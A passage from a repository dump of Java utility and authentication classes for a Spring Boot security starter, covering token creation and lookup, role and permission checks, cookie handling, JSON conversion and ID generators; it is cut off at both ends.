会话登录：参数填写要登录的账号id，建议的数据类型：long | int | String， 不可以传入复杂类型，如：User、Admin 等等\n     * @return token\n     */\n    @Override\n    public String createToken(Object loginId) {\n        Assert.notNull(loginId, \"The loginId cannot be null!\");\n        try {\n            String token = TokenGenUtil.genTokenStr(this.getAuthProperties().getTokenStyle());\n            this.set(AuthConsts.AUTH_TOKEN_KEY + token, String.valueOf(loginId), this.getAuthProperties().getTimeout());\n            return token;\n        } catch (Exception e) {\n            log.error(\"SingleAuthProvider - createToken - failed，Exception：{e}\", e);\n            return null;\n        }\n    }\n\n    /**\n     * 根据token，获取loginId\n     *\n     * @param token 令牌\n     * @return loginId\n     */\n    @Override\n    public Object getLoginId(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            return this.get(AuthConsts.AUTH_TOKEN_KEY + token);\n        } catch (Exception e) {\n            log.error(\"SingleAuthProvider - getLoginId - failed，Exception：{e}\", e);\n            return null;\n        }\n    }\n\n    /**\n     * 删除token\n     *\n     * @param token 令牌\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean deleteToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            this.delete(AuthConsts.AUTH_TOKEN_KEY + token);\n            return true;\n        } catch (Exception e) {\n            log.error(\"SingleAuthProvider - deleteToken - failed，Exception：{e}\", e);\n            return false;\n        }\n    }\n\n\n    /**\n     * 通过loginId删除token\n     *\n     * @param loginId 用户id\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean deleteTokenByLoginId(Object loginId) {\n        Assert.notNull(loginId, \"The loginId cannot be null!\");\n        try {\n            for (String key : expireMap.keySet()) {\n                if (loginId.equals(dataMap.get(key))) {\n                    dataMap.remove(key);\n                    expireMap.remove(key);\n                }\n            }\n            return true;\n        } catch (Exception e) {\n            log.error(\"SingleAuthProvider - deleteTokenByLoginId - failed，Exception：{e}\", e);\n            return false;\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/AuthUtil.java",
    "content": "package com.jun.plugin.security.util;\n\nimport com.jun.plugin.security.annotation.Ignore;\nimport com.jun.plugin.security.annotation.RequiresPermissions;\nimport com.jun.plugin.security.annotation.RequiresRoles;\nimport com.jun.plugin.security.enums.Logical;\nimport com.jun.plugin.security.interceptor.holder.AuthenticeHolder;\n\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\nimport org.springframework.util.StringUtils;\nimport com.jun.plugin.security.interceptor.holder.PermissionHolder;\nimport com.jun.plugin.security.interceptor.holder.RoleHolder;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.lang.reflect.Method;\nimport java.util.HashSet;\nimport java.util.Set;\n\npublic class AuthUtil {\n\n    /**\n     * 获取当前请求对象\n     *\n     * @return HttpServletRequest\n     */\n    public static HttpServletRequest getRequest() {\n        HttpServletRequest request = null;\n        try {\n            request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();\n            return request;\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    /**\n     * 获取当前响应对象\n     *\n     * @return HttpServletResponse\n     */\n    public static HttpServletResponse getResponse() {\n        HttpServletResponse response = null;\n        try {\n            response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();\n            return response;\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n\n    /**\n     * 获取用户token\n     *\n     * @return token\n     */\n    public static String getToken(String tokenName) {\n        HttpServletRequest request = null;\n        try {\n            request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();\n            // 从请求中获取token，先从Header里取，取不到的话再从cookie里取（适配前后端分离的模式）\n            String token = request.getHeader(tokenName);\n            if (StringUtils.isEmpty(token)) {\n                token = CookieUtil.getCookie(request, tokenName);\n            }\n            // cookie里取不到，再从请求参数里面取\n            if (StringUtils.isEmpty(token)) {\n                token = request.getParameter(tokenName);\n            }\n            return token;\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n\n    /**\n     * 获取用户token\n     *\n     * @return token\n     */\n    public static String getToken(HttpServletRequest request, String tokenName) {\n        // 从请求中获取token，先从Header里取，取不到的话再从cookie里取（适配前后端分离的模式）\n        String token = request.getHeader(tokenName);\n        if (StringUtils.isEmpty(token)) {\n            token = CookieUtil.getCookie(request, tokenName);\n        }\n        // cookie里取不到，再从请求参数里面取\n        if (StringUtils.isEmpty(token)) {\n            token = request.getParameter(tokenName);\n        }\n        return token;\n    }\n\n\n    /**\n     * 检查Method上是否有@Ignore注解，决定是否忽略会话认证\n     *\n     * @param method Method\n     * @return true or false\n     */\n    public static boolean checkIgnore(Method method) {\n        // 先获取方法上的注解\n        Ignore annotation = method.getAnnotation(Ignore.class);\n        // 方法上没有注解再检查类上面有没有注解\n        if (annotation == null) {\n            annotation = method.getDeclaringClass().getAnnotation(Ignore.class);\n        }\n        return annotation != null;\n    }\n\n\n    /**\n     * 检查Method上是否有@RequiresPermissions注解，并检验其值，通过返回true，拒绝返回false\n     *\n     * @param method        Method\n     * @param permissionSet 权限列表\n     * @return true or false\n     */\n    public static boolean checkPermission(Method method, Set<String> permissionSet) {\n        // 当permissionSet为空时，赋初值，防止空指针错误\n        if (permissionSet == null) {\n            permissionSet = new HashSet<>();\n        }\n\n        RequiresPermissions annotation = method.getAnnotation(RequiresPermissions.class);\n        // 方法上没有注解再检查类上面有没有注解\n        if (annotation == null) {\n            annotation = method.getDeclaringClass().getAnnotation(RequiresPermissions.class);\n        }\n        // 接口上没有注解，说明这个接口无权限控制，直接通过\n        if (annotation == null) {\n            return true;\n        }\n\n        String[] permissions = annotation.value();\n        Logical logical = annotation.logical();\n        if (logical == Logical.OR) {\n            // 如果有任何一个权限，返回true，否则返回false（拥有其一）\n            for (String perm : permissions) {\n                if (permissionSet.contains(perm)) {\n                    return true;\n                }\n            }\n            return false;\n        } else if (logical == Logical.AND) {\n            // 只要有一个权限不是true的，就返回false（同时拥有）\n            for (String perm : permissions) {\n                if (!permissionSet.contains(perm)) {\n                    return false;\n                }\n            }\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n\n    /**\n     * 检查Method上是否有@RequiresPermissions注解，并检验其值，通过返回true，拒绝返回false\n     *\n     * @param method  Method\n     * @param roleSet 角色列表\n     * @return true or false\n     */\n    public static boolean checkRole(Method method, Set<String> roleSet) {\n        // 当roleSet为空时，赋初值，防止空指针错误\n        if (roleSet == null) {\n            roleSet = new HashSet<>();\n        }\n\n        RequiresRoles annotation = method.getAnnotation(RequiresRoles.class);\n        // 方法上没有注解再检查类上面有没有注解\n        if (annotation == null) {\n            annotation = method.getDeclaringClass().getAnnotation(RequiresRoles.class);\n        }\n        // 接口上没有注解，说明这个接口无权限控制，直接通过\n        if (annotation == null) {\n            return true;\n        }\n\n        String[] roles = annotation.value();\n        Logical logical = annotation.logical();\n\n        if (logical == Logical.OR) {\n            // 如果有任何一个角色，返回true，否则返回false（拥有其一）\n            for (String ro : roles) {\n                if (roleSet.contains(ro)) {\n                    return true;\n                }\n            }\n            return false;\n        } else if (logical == Logical.AND) {\n            // 只要有一个角色不是true的，就返回false（同时拥有）\n            for (String ro : roles) {\n                if (!roleSet.contains(ro)) {\n                    return false;\n                }\n            }\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n\n    /**\n     * 获取当前登录用户的LoginId\n     *\n     * @return Object\n     */\n    public static Object getLoginId() {\n        return AuthenticeHolder.getLoginId();\n    }\n\n    /**\n     * 判断拥有角色：role1\n     *\n     * @return\n     */\n    public static boolean hasRole(String role) {\n        Set<String> roleSet = RoleHolder.getRoleSet();\n        if (roleSet == null || roleSet.isEmpty()) {\n            return false;\n        }\n        return roleSet.contains(role);\n    }\n\n    /**\n     * 判断拥有角色：role1 and role2\n     *\n     * @param roles\n     * @return\n     */\n    public static boolean hasAllRole(String... roles) {\n        Set<String> roleSet = RoleHolder.getRoleSet();\n        if (roleSet == null || roleSet.isEmpty()) {\n            return false;\n        }\n        // 只要有一个角色不是true的，就返回false（同时拥有）\n        for (String ro : roles) {\n            if (!roleSet.contains(ro)) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    /**\n     * 判断拥有角色：role1 or role2 or role3 有其一即可\n     *\n     * @param roles\n     * @return\n     */\n    public static boolean hasAnyRole(String... roles) {\n        Set<String> roleSet = RoleHolder.getRoleSet();\n        if (roleSet == null || roleSet.isEmpty()) {\n            return false;\n        }\n        // 如果有任何一个角色，返回true，否则返回false（拥有其一）\n        for (String ro : roles) {\n            if (roleSet.contains(ro)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n\n    /**\n     * 判断拥有权限：permission1\n     *\n     * @return\n     */\n    public static boolean hasPermission(String permission) {\n        Set<String> permissionSet = PermissionHolder.getPermissionSet();\n        if (permissionSet == null || permissionSet.isEmpty()) {\n            return false;\n        }\n        return permissionSet.contains(permission);\n    }\n\n    /**\n     * 判断拥有角色：permission1 and permission2\n     *\n     * @param permissions\n     * @return\n     */\n    public static boolean hasAllPermission(String... permissions) {\n        Set<String> permissionSet = PermissionHolder.getPermissionSet();\n        if (permissionSet == null || permissionSet.isEmpty()) {\n            return false;\n        }\n        // 只要有一个权限不是true的，就返回false（同时拥有）\n        for (String pe : permissions) {\n            if (!permissionSet.contains(pe)) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    /**\n     * 判断拥有权限：permission1 or permission2 or permission3 有其一即可\n     *\n     * @param permissions\n     * @return\n     */\n    public static boolean hasAnyPermission(String... permissions) {\n        Set<String> permissionSet = PermissionHolder.getPermissionSet();\n        if (permissionSet == null || permissionSet.isEmpty()) {\n            return false;\n        }\n        // 如果有任何一个权限，返回true，否则返回false（拥有其一）\n        for (String pe : permissions) {\n            if (permissionSet.contains(pe)) {\n                return true;\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/CommonUtil.java",
    "content": "package com.jun.plugin.security.util;\n\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.concurrent.ThreadLocalRandom;\n\n\n/**\n * 一些公共的，不好分类的工具方法放在这里\n *\n * @version 2023-01-06-9:33\n **/\npublic class CommonUtil {\n\n    private final static String TIME_FORMAT = \"yyyyMMddHHmmss\";\n\n\n    /**\n     * 获取当前时间 比如 DateTool.getCurrentTime(); 返回值为 20120515234420\n     *\n     * @return dateTimeStr yyyyMMddHHmmss\n     */\n    public static String getCurrentTime() {\n        LocalDateTime dateTime = LocalDateTime.now();\n        DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern(TIME_FORMAT);\n        return dateTimeFormatter.format(dateTime);\n    }\n\n    /**\n     * 在当前时间上增加 若干秒\n     *\n     * @param secondsCount 要增加的秒数\n     * @return 固定格式 yyyyMMddHHmmss\n     */\n    public static String currentTimePlusSeconds(int secondsCount) {\n        LocalDateTime time = LocalDateTime.now();\n        LocalDateTime newTime = time.plusSeconds(secondsCount); // 增加几秒\n        DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern(TIME_FORMAT);\n        return dateTimeFormatter.format(newTime);\n    }\n\n    /**\n     * 在当前时间上减少 若干秒\n     *\n     * @param secondsCount 要减少的秒数\n     * @return 固定格式 yyyyMMddHHmmss\n     */\n    public static String currentTimeMinusSeconds(int secondsCount) {\n        LocalDateTime time = LocalDateTime.now();\n        LocalDateTime newTime = time.minusSeconds(secondsCount); // 减少几秒\n        DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern(TIME_FORMAT);\n        return dateTimeFormatter.format(newTime);\n    }\n\n\n    /**\n     * 生成指定长度的随机字符串（包括大小写字母，数字和下划线）\n     *\n     * @param length 字符串的长度\n     * @return 一个随机字符串\n     */\n    public static String getRandomString(int length) {\n        String str = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\";\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < length; i++) {\n            int number = ThreadLocalRandom.current().nextInt(63);\n            sb.append(str.charAt(number));\n        }\n        return sb.toString();\n    }\n\n    /**\n     * 字符串转时间 然后比较大小\n     *\n     * @param tempTime 要比较的时间字符串，格式为yyyyMMddHHmmss，\n     * @return true：输入时间大于当前时间 ，false：输入时间小于当前时间\n     */\n    public static boolean timeCompare(String tempTime) {\n        DateTimeFormatter dtf2 = DateTimeFormatter.ofPattern(TIME_FORMAT);\n        LocalDateTime localDateTime = LocalDateTime.parse(tempTime, dtf2);\n        return localDateTime.isAfter(LocalDateTime.now());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/CookieUtil.java",
    "content": "package com.jun.plugin.security.util;\n\nimport org.springframework.util.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLDecoder;\nimport java.net.URLEncoder;\n\n/**\n * @date 2021-01-30-11:18\n * @description  Cookie工具类\n **/\npublic class CookieUtil {\n    private static Logger logger = LoggerFactory.getLogger(CookieUtil.class);\n\n    /**\n     * 设置 Cookie（生成时间为1天）\n     *\n     * @param response 响应对象\n     * @param name  名称\n     * @param value 值\n     */\n    public static void setCookie(HttpServletResponse response, String name, String value) {\n        setCookie(response, name, value, 60 * 60 * 24);\n    }\n\n    /**\n     * 设置 Cookie\n     *\n     * @param response 响应对象\n     * @param name   名称\n     * @param value  值\n     * @param path    上下文路径\n     */\n    public static void setCookie(HttpServletResponse response, String name, String value, String path) {\n        setCookie(response, name, value, path, 60 * 60 * 24);\n    }\n\n    /**\n     * 设置 Cookie\n     *\n     * @param response 响应对象\n     * @param name   名称\n     * @param value  值\n     * @param maxAge 生存时间（单位秒）\n     */\n    public static void setCookie(HttpServletResponse response, String name, String value, int maxAge) {\n        setCookie(response, name, value, \"/\", maxAge);\n    }\n\n    /**\n     * 设置 Cookie\n     *\n     * @param response 响应对象\n     * @param name   名称\n     * @param value  值\n     * @param maxAge 生存时间（单位秒）\n     * @param path   上下文路径\n     */\n    public static void setCookie(HttpServletResponse response, String name, String value, String path, int maxAge) {\n        if (!StringUtils.isEmpty(name)) {\n            Cookie cookie = new Cookie(name, null);\n            cookie.setPath(path);\n            cookie.setMaxAge(maxAge);\n            cookie.setHttpOnly(true);\n            try {\n                cookie.setValue(URLEncoder.encode(value, \"utf-8\"));\n            } catch (UnsupportedEncodingException e) {\n                e.printStackTrace();\n            }\n            response.addCookie(cookie);\n        }\n    }\n\n    /**\n     * 获得指定Cookie的值\n     * @param request  请求对象\n     * @param name 名称\n     * @return 值\n     */\n    public static String getCookie(HttpServletRequest request, String name) {\n        return getCookie(request, null, name, false);\n    }\n\n    /**\n     * 获得指定Cookie的值，并删除。\n     *\n     * @param request  请求对象\n     * @param response 响应对象\n     * @param name 名称\n     * @return 值\n     */\n    public static String getCookie(HttpServletRequest request, HttpServletResponse response, String name) {\n        return getCookie(request, response, name, false);\n    }\n\n    /**\n     * 获得指定Cookie的值\n     *\n     * @param request  请求对象\n     * @param response 响应对象\n     * @param name     名字\n     * @param path 上下文路径\n     * @return 值\n     */\n    public static String getCookie(HttpServletRequest request, HttpServletResponse response, String name, String path) {\n        return getCookie(request, response, name, path, false);\n    }\n\n    /**\n     * 获得指定Cookie的值\n     *\n     * @param request  请求对象\n     * @param response 响应对象\n     * @param name     名字\n     * @param isRemove 是否移除\n     * @return 值\n     */\n    public static String getCookie(HttpServletRequest request, HttpServletResponse response, String name, boolean isRemove) {\n        return getCookie(request, response, name, \"/\", isRemove);\n    }\n\n    /**\n     * 获得指定Cookie的值\n     *\n     * @param request  请求对象\n     * @param response 响应对象\n     * @param name     名字\n     * @param isRemove 是否移除\n     * @return 值\n     */\n    public static String getCookie(HttpServletRequest request, HttpServletResponse response, String name, String path, boolean isRemove) {\n        String value = null;\n        if (!StringUtils.isEmpty(name)) {\n            Cookie[] cookies = request.getCookies();\n            if (cookies != null) {\n                for (Cookie cookie : cookies) {\n                    if (cookie.getName().equals(name)) {\n                        try {\n                            value = URLDecoder.decode(cookie.getValue(), \"utf-8\");\n                        } catch (UnsupportedEncodingException e) {\n                            e.printStackTrace();\n                        }\n                        if (isRemove && response != null) {\n                            cookie.setPath(path);\n                            cookie.setMaxAge(0);\n                            response.addCookie(cookie);\n                        }\n                    }\n                }\n            }\n        }\n        return value;\n    }\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/JsonUtil.java",
    "content": "package com.jun.plugin.security.util;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Json工具类（基于jackson）\n *\n * @version  2022-03-11-16:47\n **/\npublic class JsonUtil {\n\n    final static Logger log = LoggerFactory.getLogger(JsonUtil.class);\n\n\n    /**\n     * 对象转JSON字符串\n     * @param value 待转换对象\n     * @return JSON字符串\n     */\n    public static String writeValueAsString(Object value) {\n        if (value != null) {\n            try {\n                ObjectMapper objectMapper = new ObjectMapper();\n                return objectMapper.writeValueAsString(value);\n            } catch (JsonProcessingException e) {\n                if (log.isErrorEnabled()) {\n                    log.error(\"JsonUtil -- writeValueAsString -- Exception=\", e);\n                }\n            }\n        }\n        return \"\";\n    }\n\n\n    /**\n     * JSON字符串转对象\n     * @param content JSON字符串\n     * @param valueType 类型\n     * @param <T> 对象\n     * @return  对象\n     */\n    public static <T> T readValue(String content, Class<T> valueType) {\n        if (content != null && !content.trim().isEmpty()) {\n            try {\n                ObjectMapper objectMapper = new ObjectMapper();\n                return objectMapper.readValue(content, valueType);\n            } catch (IOException e) {\n                if (log.isErrorEnabled()) {\n                    log.error(\"JsonUtil -- readValue -- Exception=\", e);\n                }\n            }\n        }\n\n        return null;\n    }\n\n    /**\n     * JSON字符串转对象\n     * @param content JSON字符串\n     * @param valueTypeRef TypeReference\n     * @param <T> 对象\n     * @return 对象\n     */\n    public static <T> T readValue(String content, TypeReference<T> valueTypeRef) {\n        if (content != null && !content.trim().isEmpty()) {\n            try {\n                ObjectMapper objectMapper = new ObjectMapper();\n                return objectMapper.readValue(content, valueTypeRef);\n            } catch (IOException e) {\n                if (log.isErrorEnabled()) {\n                    log.error(\"JsonUtil -- readValue -- Exception=\", e);\n                }\n            }\n        }\n        return null;\n    }\n\n\n    /**\n     * InputStream文件流转对象\n     * @param src 输入流\n     * @param valueType  类型\n     * @param <T> 对象\n     * @return 对象\n     */\n    public static <T> T readValue(InputStream src, Class<T> valueType) {\n        if (src != null) {\n            try {\n                ObjectMapper objectMapper = new ObjectMapper();\n                return objectMapper.readValue(src, valueType);\n            } catch (IOException e) {\n                if (log.isErrorEnabled()) {\n                    log.error(\"JsonUtil -- readValue -- Exception=\", e);\n                }\n            }\n        }\n        return null;\n    }\n\n    /**\n     * JSON字符串转List\n     * @param content JSON字符串\n     * @param clazz  类型\n     * @param <T> 对象\n     * @return 对象\n     */\n    public static <T> List<T> readArrayValue(String content, Class<T> clazz) {\n        if (content != null && !content.trim().isEmpty()) {\n            try {\n                ObjectMapper objectMapper = new ObjectMapper();\n                return objectMapper.readValue(content, objectMapper.getTypeFactory().constructParametricType(ArrayList.class, clazz));\n            } catch (Exception e) {\n                if (log.isErrorEnabled()) {\n                    log.error(\"JsonUtil -- readArrayValue -- Exception=\", e);\n                }\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 类型转换\n     * @param fromValue\n     * @param toValueType\n     * @param <T>\n     * @return\n     */\n    public static <T> T convertValue(Object fromValue, Class<T> toValueType) {\n        ObjectMapper objectMapper = new ObjectMapper();\n        return objectMapper.convertValue(fromValue, toValueType);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/LocalHostUtil.java",
    "content": "package com.jun.plugin.security.util;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.net.Inet4Address;\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.net.SocketException;\nimport java.util.Enumeration;\n\n/**\n * <p>\n * java获取本地虚拟机IP\n * </p>\n *\n * @since 2023-04-06 15:11:53\n */\npublic class LocalHostUtil {\n    private static final Logger log = LoggerFactory.getLogger(LocalHostUtil.class);\n\n    /**\n     * 获取本机ip\n     *\n     * @return String\n     */\n    public static String getLocalHost() {\n        Enumeration<NetworkInterface> allNetInterfaces;\n        String ipLocalHost = null;\n        InetAddress ip = null;\n        try {\n            allNetInterfaces = NetworkInterface.getNetworkInterfaces();\n            while (allNetInterfaces.hasMoreElements()) {\n                NetworkInterface netInterface = allNetInterfaces.nextElement();\n                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();\n                while (addresses.hasMoreElements()) {\n                    ip = (InetAddress) addresses.nextElement();\n                    if (ip instanceof Inet4Address) {\n                        String hostAddress = ip.getHostAddress();\n                        if (!hostAddress.equals(\"127.0.0.1\") && !hostAddress.equals(\"/127.0.0.1\")) {\n                            // 得到本地IP\n                            ipLocalHost = ip.toString().split(\"[/]\")[1];\n                        }\n                    }\n                }\n            }\n        } catch (SocketException e) {\n            log.error(\"getLocalHost SocketException：\", e);\n        }\n        return ipLocalHost;\n    }\n\n\n    /**\n     * 获取本机InetAddress\n     *\n     * @return String\n     */\n    public static InetAddress getInetAddress() {\n        Enumeration<NetworkInterface> allNetInterfaces;\n        InetAddress inetAddress = null;\n        try {\n            allNetInterfaces = NetworkInterface.getNetworkInterfaces();\n            while (allNetInterfaces.hasMoreElements()) {\n                NetworkInterface netInterface = allNetInterfaces.nextElement();\n                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();\n                while (addresses.hasMoreElements()) {\n                    InetAddress temp = addresses.nextElement();\n                    if (temp instanceof Inet4Address && !temp.isLoopbackAddress()) {\n                        String host = temp.getHostAddress();\n                        if (host != null && !\"0.0.0.0\".equals(host) && !\"127.0.0.1\".equals(host)) {\n                            inetAddress = temp;\n                        }\n                    }\n                }\n            }\n        } catch (SocketException e) {\n            log.error(\"getInetAddress SocketException：\", e);\n        }\n        return inetAddress;\n    }\n\n\n    public static void main(String[] args) {\n        System.out.println(getLocalHost());\n        System.out.println(getInetAddress().getHostAddress());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/TokenGenUtil.java",
    "content": "package com.jun.plugin.security.util;\n\nimport com.jun.plugin.security.util.idgen.NanoId;\nimport com.jun.plugin.security.util.idgen.ObjectId;\nimport com.jun.plugin.security.util.idgen.Snowflake;\n\nimport java.util.UUID;\n\n/**\n * token字符串生成工具类\n *\n * @version 2022-05-21 9:53\n **/\npublic class TokenGenUtil {\n\n    final static String TOKEN_STYLE_UUID = \"uuid\";\n\n    final static String TOKEN_STYLE_SNOWFLAKE = \"snowflake\";\n\n    final static String TOKEN_STYLE_OBJECTID = \"objectid\";\n\n    final static String TOKEN_STYLE_RANDOM128 = \"random128\";\n\n    final static String TOKEN_STYLE_NANOID = \"nanoid\";\n\n    /**\n     * 根据参数生存不同风格的token字符串\n     *\n     * @param tokenStyle token风格\n     * @return token字符串\n     */\n    public static String genTokenStr(String tokenStyle) {\n        String token;\n        switch (tokenStyle) {\n            case TOKEN_STYLE_UUID:\n                token = UUID.randomUUID().toString().replace(\"-\", \"\");\n                break;\n            case TOKEN_STYLE_SNOWFLAKE:\n                token = Snowflake.nextId();\n                break;\n            case TOKEN_STYLE_OBJECTID:\n                token = ObjectId.nextId();\n                break;\n            case TOKEN_STYLE_RANDOM128:\n                token = CommonUtil.getRandomString(128);\n                break;\n            case TOKEN_STYLE_NANOID:\n                token = NanoId.INSTANCE.randomNanoId();\n                break;\n            default:\n                token = UUID.randomUUID().toString().replaceAll(\"-\", \"\");\n                break;\n        }\n        return token;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/idgen/NanoId.java",
    "content": "package com.jun.plugin.security.util.idgen;\n\nimport java.security.SecureRandom;\nimport java.util.Random;\n\n/**\n * A class for generating unique String IDs.\n * <p>\n * The implementations of the core logic in this class are based on NanoId, a JavaScript\n * library by Andrey Sitnik released under the MIT license. (https://github.com/ai/nanoid)\n * <p>\n *  Referenced from (https://github.com/dph5199278/jnanoid)\n * </p>\n *\n * @version 2022-05-21 9:53\n */\npublic enum NanoId {\n\n\n    /**\n     * NanoId instance.\n     */\n    INSTANCE;\n\n    /**\n     * The default random number generator used by this class.\n     * Creates cryptographically strong NanoId Strings.\n     */\n    private final SecureRandom DEFAULT_NUMBER_GENERATOR = new SecureRandom();\n\n    /**\n     * The default alphabet used by this class.\n     * Creates url-friendly NanoId Strings using 64 unique symbols.\n     */\n    private final char[] DEFAULT_ALPHABET =\n            \"_-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\".toCharArray();\n\n    /**\n     * The default size used by this class.\n     * Creates NanoId Strings with slightly more unique values than UUID v4.\n     */\n    private final int DEFAULT_SIZE = 21;\n\n    /**\n     * Static factory to retrieve an url-friendly, pseudo randomly generated, NanoId String.\n     * <p>\n     * The generated NanoId String will have 21 symbols.\n     * <p>\n     * The NanoId String is generated using a cryptographically strong pseudo random number\n     * generator.\n     *\n     * @return A randomly generated NanoId String.\n     */\n    public String randomNanoId() {\n        return randomNanoId(DEFAULT_NUMBER_GENERATOR, DEFAULT_ALPHABET, DEFAULT_SIZE);\n    }\n\n    /**\n     * Static factory to retrieve an url-friendly, pseudo randomly generated, NanoId String.\n     * <p>\n     * The NanoId String is generated using a cryptographically strong pseudo random number\n     * generator.\n     *\n     * @param size The number of symbols in the NanoId String.\n     * @return A randomly generated NanoId String.\n     */\n    public String randomNanoId(final int size) {\n        return randomNanoId(DEFAULT_NUMBER_GENERATOR, DEFAULT_ALPHABET, size);\n    }\n\n    /**\n     * Static factory to retrieve an url-friendly, pseudo randomly generated, NanoId String.\n     * <p>\n     * The NanoId String is generated using a cryptographically strong pseudo random number\n     * generator.\n     *\n     * @param alphabet The symbols used in the NanoId String.\n     * @return A randomly generated NanoId String.\n     */\n    public String randomNanoId(final char[] alphabet) {\n        return randomNanoId(DEFAULT_NUMBER_GENERATOR, alphabet, DEFAULT_SIZE);\n    }\n\n    /**\n     * Static factory to retrieve an url-friendly, pseudo randomly generated, NanoId String.\n     * <p>\n     * The NanoId String is generated using a cryptographically strong pseudo random number\n     * generator.\n     *\n     * @param alphabet The symbols used in the NanoId String.\n     * @param size     The number of symbols in the NanoId String.\n     * @return A randomly generated NanoId String.\n     */\n    public String randomNanoId(final char[] alphabet, final int size) {\n        return randomNanoId(DEFAULT_NUMBER_GENERATOR, alphabet, size);\n    }\n\n    /**\n     * Static factory to retrieve a NanoId String.\n     * <p>\n     * The string is generated using the given random number generator.\n     *\n     * @param random   The random number generator.\n     * @param alphabet The symbols used in the NanoId String.\n     * @param size     The number of symbols in the NanoId String.\n     * @return A randomly generated NanoId String.\n     */\n    public String randomNanoId(final Random random, final char[] alphabet, final int size) {\n        if (random == null) {\n            throw new IllegalArgumentException(\"random cannot be null.\");\n        }\n        if (alphabet == null) {\n            throw new IllegalArgumentException(\"alphabet cannot be null.\");\n        }\n        if (alphabet.length == 0 || alphabet.length >= 256) {\n            throw new IllegalArgumentException(\"alphabet must contain between 1 and 255 symbols.\");\n        }\n        if (size <= 0) {\n            throw new IllegalArgumentException(\"size must be greater than zero.\");\n        }\n\n        final int mask = (2 << (int) Math.floor(Math.log(alphabet.length - 1) / Math.log(2))) - 1;\n        final int step = (int) Math.ceil(1.6 * mask * size / alphabet.length);\n\n        final StringBuilder idBuilder = new StringBuilder(size);\n        final byte[] bytes = new byte[step];\n\n        while (true) {\n\n            random.nextBytes(bytes);\n\n            for (int i = 0; i < step; i++) {\n\n                final int alphabetIndex = bytes[i] & mask;\n\n                if (alphabetIndex < alphabet.length) {\n                    idBuilder.append(alphabet[alphabetIndex]);\n                    if (idBuilder.length() == size) {\n                        return idBuilder.toString();\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/idgen/ObjectId.java",
    "content": "package com.jun.plugin.security.util.idgen;\n\n\nimport java.io.Serializable;\nimport java.nio.ByteBuffer;\nimport java.security.SecureRandom;\nimport java.util.Date;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n\n/**\n * MongoDb ObjectId java版实现\n *\n * @version 2022-05-21 9:53\n **/\npublic final class ObjectId implements Comparable<ObjectId>, Serializable {\n    private static final long serialVersionUID = 3670079982654483072L;\n\n    private static final int RANDOM_VALUE1;\n    private static final short RANDOM_VALUE2;\n    private static final AtomicInteger NEXT_COUNTER = new AtomicInteger((new SecureRandom()).nextInt());\n    private static final char[] HEX_CHARS = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};\n    private final int timestamp;\n    private final int counter;\n    private final int randomValue1;\n    private final short randomValue2;\n\n    public static boolean isValid(String hexString) {\n        if (hexString == null) {\n            throw new IllegalArgumentException();\n        } else {\n            int len = hexString.length();\n            if (len != 24) {\n                return 